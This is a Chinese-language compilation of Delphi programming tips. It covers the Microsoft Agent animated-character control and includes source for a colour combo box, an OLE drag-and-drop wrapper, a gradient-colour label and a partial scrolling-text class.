---- 我们知道，在Office 97帮助系统中有一种叫作Office助手的代理软件，其中幽默风趣的动画人物，如“大眼夹”，能够根据用户的操作步骤“智能化”地提出一些建议或帮助信息。与Office助手相比，Agent功能更加丰富强大，表现在：

Office助手沿用传统的不透明矩形窗口，窗口后面的背景被完全挡住；Agent动画人物本身是一个“AlwaysOnTop”窗口，只有人物身体部分挡住背景，其余部分透明。

Office助手只允许Office 97的各个组件调用，Agent动画人物可由任何Windows程序调用；

Agent支持文字气球和输入提示条，在输出语音的同时把文字输出至一个卡通式文字气球中。如果电脑系统中安装有Agent语音识别引擎，当用户按住输入键，如Scroll Lock键，在Agent人物下方出现一个输入命令窗口，表示它正在“聆听”用户的语音命令。

Agent提供Genie、Merlin、Bobby和Peedy等动画人物，不仅具有优美诙谐的动作，而且可以通过声卡、麦克风与用户交谈。

二、 Microsoft Agent安装方法

---- Agent是一种ActiveX控件，其服务器程序（C:.exe）运行在Win95/98/NT操作平台上，为其它调用Agent的客户程序提供服务。客户程序可以是利用VB、C++、Delphi、VFP、PB等开发的应用软件，也可以是HTML文件中的Visual Script、Java Script脚本语言代码。

安装Agent核心组件Msagent.exe。

安装Lernout & Hauspie TruVoice Text-to-Speech Engine（完成从文字合成语音的工作，目前版本只支持英语）Cgram.exe。

安装Microsoft Command and Control Speech Engine（提供语音识别功能，目前版本只支持英语）Actcnc.exe。

Agent动画人物人物数据文件。Agent支持单结构角色文件（.acs，角色数据与动画数据存于同一个文件），也支持分离结构角色文件（.acf，角色数据存于.acf中，动画数据存于.aca中）。基于本地硬盘和网络的应用程序可采用.acs文件，基于Web页面的HTML文件在浏览器中访问时会自动调用，习惯上多使用.acs文件。

---- 上述文件可从 http://www.microsoft.com//workshop/imedia/agent/default.asp下载。

三、 Microsoft Agent编程要点

---- 1、 在Delphi中添加Agent控件

---- 在Delphi IDE中选择菜单Component，Import ActiveX Control--在Import ActiveX下的列表框中选择Microsoft Agent Control 2.0（Version 2.0），点击按钮Install--在Install对话框中点击按钮OK--在Confirm对话框中点击按钮Yes--在对话框中点击按钮OK。至此，Agent控件被添加到Delphi组件板ActiveX页上。

---- 2、 在Delphi中调用Agent控件

---- ⑴、在Delphi IDE 中新建Project1（包含Form1），在Form1上放置Agent1（Name属性为MyAgent）、Button1。

---- ⑵、定义变量。

Var

Peedy: IagentCtlCharacterEx;

Request1,Request2: IagentCtlRequest;

---- ⑶Agent主要属性、方法、事件。

---- ①Characters属性与Load、Unload方法：初始化Agent，加载动画数据，卸载动画人物

---- Request1 := MyAgent.Characters.Load( 'Peedy', 'C:.acs' );

---- Peedy := MyAgent.Characters.Character( 'Peedy' );

---- MyAgent.Characters.Unload('Peedy');

---- ②Show与Hide方法：显示、隐藏Agent动画人物。参数Fast表示动画人物显示、隐藏的速度。Fast为0表示Agent飞入、飞出，Fast为1表示Agent直接出现、消失，没有动画过程。

---- Peedy.Show(0);

---- Peedy.Hide(1);

---- ③StopAll、Stop方法：停止所有动作。

---- Peedy.StopAll('');

---- Peedy.Stop(Request);

---- ④Connected属性：Agent是否与Microsoft Agent服务器连接。

---- MyAgent.Connected := True;

---- ⑤Get_Height、Get_Width、Set_Height、Set_Width方法：获得、设置Agent动画人物的高度、宽度。

AgentHight := Peedy.Get_Height;

AgentWidth := Peedy.Get_Width;

Peedy.Set_Height( round(AgentHeight / 2 ));

Peedy.Set_Width( round( AgentWidth / 2 ));

---- ⑥MoveTo方法：参数x，y表示Agent动画人物移动到的坐标，参数Speed表示移动的速度。

---- Peedy.MoveTo( (Screen.Width-Peedy.Get_Width) Div 2, (Screen.Height-Peedy.Get_Height) Div 2, 2 );

---- ⑦Interrupt方法：中断指定角色的动画。在几十种动画动作中，有一类后缀名为“ing” 的动作比较特殊，如“processing”、“searching”、“reading”、“writing”，一旦执行就必须通过调用另外一个动画人物的Interrupt方法才能中断 。角色不能中断自身的动作，否则会导致异常。

Request1 := Robby.Play('reading');

Peedy.Interrupt(Request1);

---- ⑧Wait方法：在多个不同动画人物之间协调动画动作，如等待sRobby的当前动作执行完毕后，Peedy做另外一个动作。

Request1 := Robby.Play('read');

Peedy.Wait(Request1);

Peedy.Play('search');

---- ⑨Play方法：执行指定的动画动作，参数Animation为一常量，表示动画类型。Agent提供了几十种预定义动作，开发软件时只需直接调用这些常量即可。下面简要介绍其中常用的一些常量仅供编程参考。

---- 动作类型 中文含意 动作类型 中文含意 动作类型 中文含意

Acknowledge 承认 LookDown 向下看 Sad 悲伤

Alert 警告 LookDownBlink 向下看眨眼 Search 寻找

Announce 声明 LookUp 向上看 StartListening 开始聆听

Blink 眨眼 LookUpBlink 向下看眨眼 StopListening 停止聆听

Confused 迷惑 LookLeft 向左看 Suggest 建议

Congratulate 祝贺 LookLeftBlink 向左看眨眼 Surprised 吃惊

Decline 拒绝 LookRight 向右看 Think 思考

DontRecognize 不承认 LookRightBlink 向右看眨眼 Wave 挥动

Explain 解释 MoveDown 向下移动 Write 书写

GestureDown 向下姿势 MoveUp 向上移动 Processing 计算……

GestureUp 向上姿势 MoveRight 向右移动 Reading 阅读……

GestureLeft 向左姿势 MoveLeft 向左移动 Searching 寻找……

GestureRight 向右姿势 Pleased 高兴 Writing 书写……

GetAttention 获得注意 Read 阅读 Greet

问候 RestPose 恢复初始状态

Request := peedy.Play('search');

---- ⑩Speak方法：Agent通过调用语音合成引擎，支持英语的语音合成输出功能，只需输入英文字符串，Agent就能通过声卡、音箱“说话”。Agent的当前版本尚不具备支持中文语音合成功能，所以只能以.wav文件的形式播放中文。使用时可以将想要说的中文句子预先录好，以.wav形式存储，在程序中调用即可。参数Text表示文字气球中显示的文字，参数url表示.wav文件的路径。

---- Peedy.speak('嗨，朋友们，你们好，现在由我为您提供帮助！','C:\u26032新建文件夹.wav');

---- Peedy.Speak( 'Do you like my help? If so, Please send me an email! Thank you!', '' );

---- ⑾Commands.Add方法：在Button1Click事件中为Agent添加自定义语音识别命令，参数const Name表示语音命令的标识，参数Caption表示该命令在输入命令窗口中的显示标题，参数Voice表示该命令对应的语句。当用户通过麦克风向动画人物发出语音命令时，触发Agent的Command事件，因此我们可以另外编写一个过程完成语音识别功能。

procedure TForm1.Button1Click(Sender: TObject);

begin

Peedy.Commands.Add('Delphi','Run

Delphi','Delphi',True,True);

Peedy.Commands.Add('Visual Basic','

Run VB','VB',True,True);

Peedy.Show(0);

Peedy.Speak('What can I do for you, sir?','');

end;

---- ⑷、按F9运行程序。以上程序在Delphi3.0/4.0、Windows95/98/NT简体中文版环境下调试通过。

*****************

来自：dingbaosheng, 时间：01-7-30 22:37:00, ID：592696

其实我有一点会用agent技术， 如获得任一角色内置动作，使之动作、说话等。

只是：

1、无法在提示窗口中加入控件如edit,button等。

2、无法捕捉鼠标点击的是Agent对象的右键菜单中具体哪一选项

如有哪位大虾有实现过 请赐教，分分不成问题~~~~~~~~~~

可能Character根本没有实现IID_Balloon

Character.QueryInterface(IID_Balloon,NewBalloon);

得到NewBalloon=nil.

而WORD显然可以:

var

MyWord:TWordApplication2k;

MyAssistant:Assistant;

MyBalloon:Balloon;

begin

MyWord:=TWordApplication2k.Create(Application);

MyWord.ShowMe;

MyAssistant:=MyWord.Assistant;

MyBalloon:=MyAssistant.NewBalloon;

MyBalloon.Text:='Hello';

MyBalloon.Button:=msoButtonSetYesAllNoCancel;

MyBalloon.Heading:='heading';

MyBalloon.Show;

end;


Agent 控件

我用Agent写了一个邮件检查程序，一直好好的。

> Agent可以调用Speak方法说英语的，可现在只是嘴巴动，不出声，那位大师帮忙看

看。

2000下吗?须设language=1033

"DragonPC" <bruce_luo@hotmail.com> wrote in message


创建一个颜色选取下拉框

unit ColorComboBox;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TIdent = Record

Color:Integer;

Name:String;

end;

TColorComboBox = class(TCustomComboBox)

private

{ Private declarations }

ColorArray:array of TIdent;

function GetSelectedColor: TColor;

procedure SetSelectedColor(Value: TColor);

protected

{ Protected declarations }

procedure CreateWnd; override;

procedure DrawItem(Index: Integer; Rect: TRect; State: TOwnerDrawState); override;

procedure Click;override;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

property SelectedColor: TColor read GetSelectedColor write SetSelectedColor;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TColorComboBox]);

end;

{ TColorComboBox }

procedure TColorComboBox.Click;

Var

ColorDlg:TColorDialog;

begin

if ItemIndex=High(ColorArray) then

Begin

ColorDlg:=TColorDialog.Create(Self);

if ColorDlg.Execute then

ColorArray[ItemIndex].Color:=ColorDlg.Color;

ColorDlg.Free;

End;

inherited;

end;

constructor TColorComboBox.Create(AOwner: TComponent);

begin

inherited;

Style := csOwnerDrawFixed;

Height:=25;

itemHeight:=19;

Font.Charset := GB2312_CHARSET;

Font.Name := '宋体';

Font.Height:=-15;

SetLength(ColorArray,10);

ColorArray[0].Color:=clRed;

ColorArray[0].Name:='红色';

ColorArray[1].Color:=clGreen;

ColorArray[1].Name:='绿色';

ColorArray[2].Color:=clBlue;

ColorArray[2].Name:='蓝色';

ColorArray[3].Color:=clYellow;

ColorArray[3].Name:='黄色';

ColorArray[4].Color:=clWhite;

ColorArray[4].Name:='白色';

ColorArray[5].Color:=clMaroon;

ColorArray[5].Name:='褐色';

ColorArray[6].Color:=clNavy;

ColorArray[6].Name:='深蓝色';

ColorArray[7].Color:=clSilver;

ColorArray[7].Name:='银灰色';

ColorArray[8].Color:=clAqua;

ColorArray[8].Name:='浅蓝色';

ColorArray[9].Color:=clWhite;

ColorArray[9].Name:='定制';

end;

procedure TColorComboBox.CreateWnd;

var

Index: integer;

begin

inherited CreateWnd;

Items.BeginUpdate;

for Index := 0 to High(ColorArray) do

Items.Add(ColorArray[Index].Name);

Items.EndUpdate;

ItemIndex := 0;

end;

destructor TColorComboBox.Destroy;

begin

inherited;

end;

procedure TColorComboBox.DrawItem(Index: Integer; Rect: TRect;

State: TOwnerDrawState);

var

Square: TRect;

begin

TControlCanvas(Canvas).UpdateTextFlags;

if odSelected in State then

begin

Canvas.Brush.Color := clHighlight;

end;

Canvas.FillRect(Rect);

Canvas.Brush.Color := clBlack;

Square := Rect;

Square.Left := Square.Left + 1;

Square.Right := Square.Left + ItemHeight -2;

Square.Top := Square.Top + 1;

Square.Bottom := Square.Bottom - 1;

Canvas.FrameRect(Square);

Canvas.Brush.Color := ColorArray[Index].Color;

InflateRect(Square, -1, -1);

Canvas.FillRect(Square);

if odFocused in State then

begin

Canvas.Brush.Color := clHighlightText;

Canvas.DrawFocusRect(Rect);

end;

Inc(Rect.Left, ItemHeight);

InflateRect(Rect, 0, -1);

if odSelected in State then

begin

Canvas.Pen.Color := clHighlightText;

Canvas.Brush.Color := clHighlight;

end

else

begin

Canvas.Pen.Color := Font.Color;

Canvas.Brush.Color := Color;

end;

DrawText(Canvas.Handle, PChar(Items[Index]), Length(Items[Index]), Rect, DT_VCENTER or DT_LEFT or DT_SINGLELINE);

end;

function TColorComboBox.GetSelectedColor: TColor;

begin

Result := ColorArray[ItemIndex].Color;

end;

procedure TColorComboBox.SetSelectedColor(Value: TColor);

var

Index: Integer;

begin

for Index := 0 to High(ColorArray) do

if ColorArray[Index].Color = Value then

begin

ItemIndex := Index;

Exit;

end;

end;

end.


一个OLE拖放组件

unit DropWrap;

////////////////////////////////////////////////////////////////////////////////

//

// TMyOLEDragDropInterface - a simple wrapper component to implement

// OLE Drag and Drop.

//

// Copyright 1998 by Andreas Hahn

// andreas.hahn@sap-ag.de

//

// Free to use, edit and redistribute as long as my name appears somewhere

// in the source code.

// No warranty is given by the author, expressed or limited.

// (this was for our american friends ;-)

//

// Comments, bug-reports etc are welcome. I would be glad if you drop me a

// line when modifying the source to keep track of the code history.

//

////////////////////////////////////////////////////////////////////////////////

//

// History :

//

// 01-31-1998 created, initial release 0.9

//

////////////////////////////////////////////////////////////////////////////////

interface

uses

Windows, SysUtils, Classes, Controls, ActiveX;

const ClipBoardFormatIDString = 'MyDragDrop Format';

type

TMyDropEffect = (deNone, deCopy, deMove, deLink, deScroll);

TMyAllowedDropEffects = set of deCopy..deScroll;

TMyDropEvent = procedure(DropString : string; Point : TPoint) of object;

TMyDragEvent = procedure(DropEffect : TMyDropEffect) of object;

TMyDragObject = class;

TMyDropObject = class;

TMyOLEDragDropInterface = class(TComponent)

private

FDragDropControl : TWinControl;

MyDragObject : TMyDragObject;

MyDropTarget : TMyDropObject;

FOnDrop : TMyDropEvent;

FOnDragFinished : TMyDragEvent;

FDropEffect : TMyDropEffect;

FAllowedDragEffects,

FAllowedDropEffects : TMyAllowedDropEffects;

FPointDroped : TPoint;

FStringDroped,

FStringToDrag : string;

FIsInDragging : Boolean;

procedure SetDragDropControl(NewValue : TWinControl);

protected

function GetReqBufferSize: LongInt;

procedure SetReqBufferSize(ASize : LongInt);

procedure DoDropFinished;

procedure DoDragFinished;

procedure SetDragObjectData(MemBuffer : Pointer);

procedure SetDropObjectData(MemBuffer : Pointer);

public

constructor Create(AOwner : TComponent); override;

destructor Destroy; override;

procedure StartDrag(StringToDrag : string);

published

property IsInDragging : Boolean read FIsInDragging;

property AllowedDragEffects : TMyAllowedDropEffects read FAllowedDragEffects write FAllowedDragEffects;

property AllowedDropEffects : TMyAllowedDropEffects read FAllowedDropEffects write FAllowedDropEffects;

property DragDropControl : TWinControl read FDragDropControl write SetDragDropControl;

property OnDrop : TMyDropEvent read FOnDrop write FOnDrop;

property OnDragFinished : TMyDragEvent read FOnDragFinished write FOnDragFinished;

end;

TMyEnumFormatEtc = class(TInterfacedObject, IEnumFormatEtc)

private

FmtPtr : LongInt;

public

constructor Create;

// IEnumFormatEtc interface

function Next(celt: Longint; out elt;

pceltFetched: PLongint): HResult; stdcall;

function Skip(celt: Longint): HResult; stdcall;

function Reset: HResult; stdcall;

function Clone(out enum: IEnumFormatEtc): HResult; stdcall;

end;

TMyDragObject = class(TInterfacedObject, IDataObject, IDropSource)

private

// internal stuff

ParentHandler : TMyOLEDragDropInterface;

DragEffect : LongInt;

public

// IDataObject interface

function GetData(const formatetcIn: TFormatEtc; out medium: TStgMedium):

HResult; stdcall;

function GetDataHere(const formatetc: TFormatEtc; out medium: TStgMedium):

HResult; stdcall;

function QueryGetData(const formatetc: TFormatEtc): HResult;

stdcall;

function GetCanonicalFormatEtc(const formatetc: TFormatEtc;

out formatetcOut: TFormatEtc): HResult; stdcall;

function SetData(const formatetc: TFormatEtc; var medium: TStgMedium;

fRelease: BOOL): HResult; stdcall;

function EnumFormatEtc(dwDirection: Longint; out enumFormatEtc:

IEnumFormatEtc): HResult; stdcall;

function DAdvise(const formatetc: TFormatEtc; advf: Longint;

const advSink: IAdviseSink; out dwConnection: Longint): HResult; stdcall;

function DUnadvise(dwConnection: Longint): HResult; stdcall;

function EnumDAdvise(out enumAdvise: IEnumStatData): HResult;

stdcall;

// IDropSource interface

function QueryContinueDrag(fEscapePressed: BOOL;

grfKeyState: Longint): HResult; stdcall;

function GiveFeedback(dwEffect: Longint): HResult; stdcall;

end;

TMyDropObject = class(TInterfacedObject, IDropTarget)

private

// internal stuff

ParentHandler : TMyOLEDragDropInterface;

public

// IDropTarget interface

function DragEnter(const dataObj: IDataObject; grfKeyState: Longint;

pt: TPoint; var dwEffect: Longint): HResult; stdcall;

function DragOver(grfKeyState: Longint; pt: TPoint;

var dwEffect: Longint): HResult; stdcall;

function DragLeave: HResult; stdcall;

function Drop(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint;

var dwEffect: Longint): HResult; stdcall;

end;

EMyOLEDragDropInterfaceException = class(Exception);

implementation

var MyFormatEtc : TFormatEtc;

CF_MyDragDrop : LongInt;

function CheckClipboardFormat(dataObj: IDataObject): Boolean;

begin

Result := Succeeded(dataObj.QueryGetData(MyFormatEtc));

end;

// here we translate the standard key behaviour

function TranslateKeyStateToDragEffect(KS : Longint; ADE : TMyAllowedDropEffects): LongInt;

begin

// none by default

Result := DROPEFFECT_NONE;

// move is default without key pressed

if deMove in ADE

then Result := DROPEFFECT_MOVE;

// copy

if (KS and MK_CONTROL) = MK_CONTROL then

begin

if deCopy in ADE

then Result := DROPEFFECT_COPY;

// link

if (KS and MK_SHIFT) = MK_SHIFT then

if deLink in ADE

then Result := DROPEFFECT_LINK;

end;

end;

////////////////////////////////////////////////////////////////////////////////

constructor TMyOLEDragDropInterface.Create(AOwner : TComponent);

begin

inherited Create(AOwner);

FDragDropControl := nil;

FAllowedDragEffects := [deCopy, deMove, deLink];

FAllowedDropEffects := [deCopy, deMove, deLink];

MyDropTarget := TMyDropObject.Create;

MyDropTarget.ParentHandler := Self;

MyDropTarget._AddRef;

end;

destructor TMyOLEDragDropInterface.Destroy;

begin

MyDropTarget._Release;

inherited Destroy;

end;

procedure TMyOLEDragDropInterface.SetDragDropControl(NewValue : TWinControl);

var RegisterResult : HResult;

ErrorStr : string;

begin

if NewValue <> FDragDropControl then

begin

if FDragDropControl <> nil then

begin

// first unregister old window

RegisterResult := RevokeDragDrop(FDragDropControl.Handle);

if (RegisterResult <> S_OK) and (RegisterResult <> DRAGDROP_E_NOTREGISTERED) then

begin

case RegisterResult of

DRAGDROP_E_INVALIDHWND : ErrorStr := 'Invalid window handle';

E_OUTOFMEMORY : ErrorStr := 'Out of memory';

end;

FDragDropControl := nil;

raise EMyOLEDragDropInterfaceException.Create(ErrorStr);

end;

end;

// now register new window

RegisterResult := RegisterDragDrop(NewValue.Handle, MyDropTarget as IDropTarget);

if (RegisterResult <> S_OK) and (RegisterResult <> DRAGDROP_E_ALREADYREGISTERED) then

begin

case RegisterResult of

DRAGDROP_E_INVALIDHWND : ErrorStr := 'Invalid window handle';

E_OUTOFMEMORY : ErrorStr := 'Out of memory';

end;

raise EMyOLEDragDropInterfaceException.Create(ErrorStr);

end;

FDragDropControl := NewValue;

end;

end;

procedure TMyOLEDragDropInterface.StartDrag(StringToDrag : string);

var dwDropEffect : LongInt;

begin

dwDropEffect := DROPEFFECT_NONE;

if deCopy in FAllowedDragEffects

then dwDropEffect := dwDropEffect or DROPEFFECT_COPY;

if deMove in FAllowedDragEffects

then dwDropEffect := dwDropEffect or DROPEFFECT_MOVE;

if deLink in FAllowedDragEffects

then dwDropEffect := dwDropEffect or DROPEFFECT_LINK;

FStringToDrag := StringToDrag;

MyDragObject := TMyDragObject.Create;

MyDragObject._AddRef;

MyDragObject.ParentHandler := Self;

FIsInDragging := true;

DoDragDrop(MyDragObject as IDataObject, MyDragObject as IDropSource,

dwDropEffect, MyDragObject.DragEffect);

dwDropEffect := MyDragObject.DragEffect;

MyDragObject._Release;

if (dwDropEffect and DROPEFFECT_NONE) = DROPEFFECT_NONE

then FDropEffect := deNone;

if (dwDropEffect and DROPEFFECT_COPY) = DROPEFFECT_COPY

then FDropEffect := deCopy;

if (dwDropEffect and DROPEFFECT_MOVE) = DROPEFFECT_MOVE

then FDropEffect := deMove;

if (dwDropEffect and DROPEFFECT_LINK) = DROPEFFECT_LINK

then FDropEffect := deLink;

FIsInDragging := false;

DoDragFinished;

end;

function TMyOLEDragDropInterface.GetReqBufferSize: LongInt;

begin

Result := Length(FStringToDrag) + 1;

end;

procedure TMyOLEDragDropInterface.SetReqBufferSize(ASize : LongInt);

begin

// does nothing here, used for extensions

end;

procedure TMyOLEDragDropInterface.SetDragObjectData(MemBuffer : Pointer);

begin

// copy data only if drop succesful

StrPCopy(MemBuffer, FStringToDrag);

end;

procedure TMyOLEDragDropInterface.SetDropObjectData(MemBuffer : Pointer);

begin

FStringDroped := StrPas(MemBuffer);

end;

procedure TMyOLEDragDropInterface.DoDropFinished;

begin

if Assigned(FOnDrop)

then FOnDrop(FStringDroped, FDragDropControl.ScreenToClient(FPointDroped));

end;

procedure TMyOLEDragDropInterface.DoDragFinished;

begin

if Assigned(FOnDragFinished)

then FOnDragFinished(FDropEffect);

end;

////////////////////////////////////////////////////////////////////////////////

constructor TMyEnumFormatEtc.Create;

begin

inherited Create;

Reset;

end;

function TMyEnumFormatEtc.Next(celt: Longint; out elt; pceltFetched: PLongint): HResult;

begin

Result := S_FALSE;

// all out ?

if FmtPtr = 1

then Exit;

Pointer(elt) := @MyFormatEtc;

Inc(FmtPtr);

if pceltFetched <> nil

then pceltFetched^ := 1;

if celt = 1

then Result := S_OK;

end;

function TMyEnumFormatEtc.Skip(celt: Longint): HResult;

begin

if FmtPtr + celt > 1 then

begin

Result := S_FALSE;

Exit;

end;

FmtPtr := FmtPtr + celt;

Result := S_OK;

end;

function TMyEnumFormatEtc.Reset: HResult;

begin

FmtPtr := 1;

Result := S_OK;

end;

function TMyEnumFormatEtc.Clone(out enum: IEnumFormatEtc): HResult;

var NewEnum : TMyEnumFormatEtc;

begin

// create object

NewEnum := TMyEnumFormatEtc.Create;

if NewEnum = nil then

begin

Result := E_OUTOFMEMORY;

Exit;

end;

// clone current state

NewEnum.FmtPtr := FmtPtr;

enum := NewEnum;

Result := S_OK;

end;

////////////////////////////////////////////////////////////////////////////////

function TMyDragObject.GetData(const formatetcIn: TFormatEtc; out medium: TStgMedium): HResult;

var MemHandle : THandle;

MemPointer : Pointer;

begin

// look if format ok

Result := QueryGetData(formatetcIn);

if Failed(Result)

then Exit;

MemHandle := GlobalAlloc(GMEM_MOVEABLE, ParentHandler.GetReqBufferSize);

try

MemPointer := GlobalLock(MemHandle);

ParentHandler.SetDragObjectData(MemPointer);

GlobalUnlock(MemHandle);

medium.tymed := TYMED_HGLOBAL;

medium.hGlobal := MemHandle;

// receiver shall free memory

medium.unkForRelease := nil;

except

Result := E_UNEXPECTED;

GlobalFree(MemHandle);

end;

end;

function TMyDragObject.GetDataHere(const formatetc: TFormatEtc; out medium: TStgMedium): HResult;

begin

Result := E_NOTIMPL;

end;

function TMyDragObject.QueryGetData(const formatetc: TFormatEtc): HResult;

begin

with formatetc do

begin

if cfFormat <> MyFormatEtc.cfFormat

then Result := DV_E_FORMATETC

else

if dwAspect <> MyFormatEtc.dwAspect

then Result := DV_E_DVASPECT

else if lindex <> MyFormatEtc.lindex

then Result := DV_E_LINDEX

else if tymed <> MyFormatEtc.tymed

then Result := DV_E_TYMED

else Result := S_OK;

end;

end;

function TMyDragObject.GetCanonicalFormatEtc(const formatetc: TFormatEtc; out formatetcOut: TFormatEtc): HResult;

begin

Result := E_NOTIMPL;

end;

function TMyDragObject.SetData(const formatetc: TFormatEtc; var medium: TStgMedium; fRelease: BOOL): HResult;

begin

Result := E_NOTIMPL;

end;

function TMyDragObject.EnumFormatEtc(dwDirection: Longint; out enumFormatEtc: IEnumFormatEtc): HResult;

begin

if dwDirection = DATADIR_SET then

begin

Result := E_NOTIMPL;

Exit;

end;

enumFormatEtc := TMyEnumFormatEtc.Create;

if enumFormatEtc = nil

then Result := E_OUTOFMEMORY

else Result := S_OK;

end;

function TMyDragObject.DAdvise(const formatetc: TFormatEtc; advf: Longint; const advSink: IAdviseSink; out dwConnection: Longint): HResult;

begin

Result := E_NOTIMPL;

end;

function TMyDragObject.DUnadvise(dwConnection: Longint): HResult;

begin

Result := E_NOTIMPL;

end;

function TMyDragObject.EnumDAdvise(out enumAdvise: IEnumStatData): HResult;

begin

Result := E_NOTIMPL;

end;

function TMyDragObject.QueryContinueDrag(fEscapePressed: BOOL; grfKeyState: Longint): HResult;

begin

Result := S_OK;

// cancel drag on escape

if fEscapePressed

then Result := DRAGDROP_S_CANCEL;

// commit drag on left mouse button up

if (grfKeyState and MK_LBUTTON) <> MK_LBUTTON

then Result := DRAGDROP_S_DROP;

end;

function TMyDragObject.GiveFeedback(dwEffect: Longint): HResult;

begin

Result := DRAGDROP_S_USEDEFAULTCURSORS;

end;

////////////////////////////////////////////////////////////////////////////////

function TMyDropObject.DragEnter(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult;

begin

// no data object, no acceptance

// query clipboard format

if (dataObj = nil) or (not CheckClipboardFormat(dataObj)) then

begin

Result := E_FAIL;

Exit;

end;

// proceed with standard keys

dwEffect := TranslateKeyStateToDragEffect(grfKeyState, ParentHandler.AllowedDropEffects);

Result := S_OK;

end;

function TMyDropObject.DragOver(grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult;

begin

// proceed with standard keys

dwEffect := TranslateKeyStateToDragEffect(grfKeyState, ParentHandler.AllowedDropEffects);

Result := S_OK;

end;

function TMyDropObject.DragLeave: HResult;

begin

Result := S_OK;

end;

function TMyDropObject.Drop(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult;

var medium : TStgMedium;

MemPointer : Pointer;

begin

Result := E_FAIL;

// no data object, no acceptance

// query clipboard format

if (dataObj = nil) or (not CheckClipboardFormat(dataObj))

then Exit;

Result := dataObj.GetData(MyFormatEtc, medium);

if Failed(Result)

then Exit;

ParentHandler.SetReqBufferSize(GlobalSize(medium.hGlobal));

MemPointer := GlobalLock(medium.hGlobal);

try

ParentHandler.SetDropObjectData(MemPointer);

ParentHandler.FPointDroped := pt;

finally

GlobalUnlock(medium.hGlobal);

ReleaseStgMedium(medium);

end;

_AddRef;

try

ParentHandler.DoDropFinished;

finally

_Release;

end;

dwEffect := TranslateKeyStateToDragEffect(grfKeyState, ParentHandler.AllowedDropEffects);

Result := S_OK;

end;

initialization

OleInitialize(nil);

CF_MyDragDrop := RegisterClipboardFormat(ClipBoardFormatIDString);

with MyFormatEtc do

begin

cfFormat := CF_MyDragDrop;

ptd := nil;

dwAspect := DVASPECT_CONTENT;

lindex := -1;

tymed := TYMED_HGLOBAL;

end;

finalization

OleUnInitialize;

end.


渐进色字体的标签

unit MLabel;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TColorStyle=(Horizontal,Vertical);

type

TMLabel = class(TLabel)

private

CRed,CGreen,CBlue:Integer;

incRed,incGreen,incBlue:Integer;

FColor1: TColor;

FColor2: TColor;

FColorStyle: TColorStyle;

procedure SetColor1(const Value: TColor);

procedure SetColor2(const Value: TColor);

procedure SetColorStyle(const Value: TColorStyle);

procedure GetRGB(Color1,Color2:TColor);

{ Private declarations }

protected

{ Protected declarations }

procedure Paint;override;

public

{ Public declarations }

Constructor Create(AOwner:TComponent);override;

published

{ Published declarations }

property Color1:TColor read FColor1 Write SetColor1;

property Color2:TColor read FColor2 Write SetColor2;

property ColorStyle:TColorStyle read FColorStyle write SetColorStyle;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TMLabel]);

end;

{ TMLabel }

constructor TMLabel.Create(AOwner: TComponent);

begin

inherited;

Width:=210;

Height:=40;

Font.Height:=43;

Font.Name:='楷体_GB2312';

FColor1:=clRed;

FColor2:=clWhite;

Canvas.Brush.Style:=bsClear;

Canvas.Font.Assign(Font);

end;

procedure TMLabel.GetRGB(Color1, Color2: TColor);

Var

R,G,B:Integer;

begin

CRed:=GetRValue(FColor1);

CGreen:=GetGValue(FColor1);

CBlue:=GetBValue(FColor1);

R:=GetRValue(FColor2);

G:=GetGValue(FColor2);

B:=GetBValue(FColor2);

incRed:=(R-CRed) div 10;

incGreen:=(G-CGreen) div 10;

incblue:=(B-CBlue) div 10;

end;

procedure TMLabel.Paint;

Var

i:Integer;

Rect:TRect;

begin

Rect:=ClientRect;

Canvas.Font.Color:=FColor1;

Canvas.TextRect(Rect,0,0,Caption);

for i:=1 to 10 do

Begin

if FColorStyle=Horizontal then

Rect.Right:=Rect.Right - (Rect.Right - Rect.Left) div 10

else

Rect.Bottom:=Rect.Bottom - (Rect.Bottom - Rect.Top) div 10;

Canvas.Font.Color:=RGB(CRed+incRed*i,CGreen+incGreen*i,CBlue+incBlue*i);

Canvas.TextRect(Rect,0,0,Caption);

End;

end;

procedure TMLabel.SetColor1(const Value: TColor);

begin

FColor1 := Value;

GetRGB(FColor1,FColor2);

Paint;

end;

procedure TMLabel.SetColor2(const Value: TColor);

begin

FColor2 := Value;

GetRGB(FColor1,FColor2);

Paint;

end;

procedure TMLabel.SetColorStyle(const Value: TColorStyle);

begin

FColorStyle := Value;

Paint;

end;

end.


字幕控件

baxp(一头雾水)　(2001-4-15 12:15:00) 得0分

以前做显示屏的时候做的，试试看

可以选择路径，速度，停留时间！

unit aledtextclass;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,stdctrls,fileoperdll,ledtextdialog,aledcommonfuc;

type

TTextMoveStyle=(msdown,msup);

{关键点结构}

{ keypoint=record

locate : tpoint; //关键点位置

waittime : integer; //在关键点停留时间

speed : integer; //从本点出发的速度

end;

}

{文字对象}

TLedText=class(TLabel)

public

code : string; //对象唯一标志符

starttime : integer; //开始演播时间

totalpath : integer; //关键点总数

path : array of keypoint; //关键点数组

oldpage : integer; //上次中断帧

stime : extended;

selected : boolean; //是否被选中

showpath : boolean; //是否显示路径

mousedown:boolean; //鼠标是否被按下

oldx,oldy:integer;

newtext:boolean; //新建文本

times:integer;

published

properdlg:Tledtextproperdlg;

constructor Create(AOwner : TComponent); override;

destructor destroy; override;

procedure WMSetFocus(var Message: TWMLBUTTONUP); message WM_LBUTTONUP;

procedure WMPaint(var Message: TWMPaint); message WM_Paint;

procedure WMLButtonDown(var Message: TWMLBUTTONDOWN); message WM_LBUTTONDOWN;

procedure WMMOUSEMOVE(var Message: TWMMOUSEMOVE); message WM_MOUSEMOVE;

function savetostrings:tstrings;

procedure loadfromstrings(strs:tstrings);

procedure setnamestr(str:string);

procedure setselected(sel:boolean);

function GetNameStr:string;

public

{显示设置对话框}

function SetProperty:boolean;

function GetStep(curpage: integer;var step:integer): integer;

{对象演示函数}

procedure play(curpage:integer;cas:tcanvas);

end;

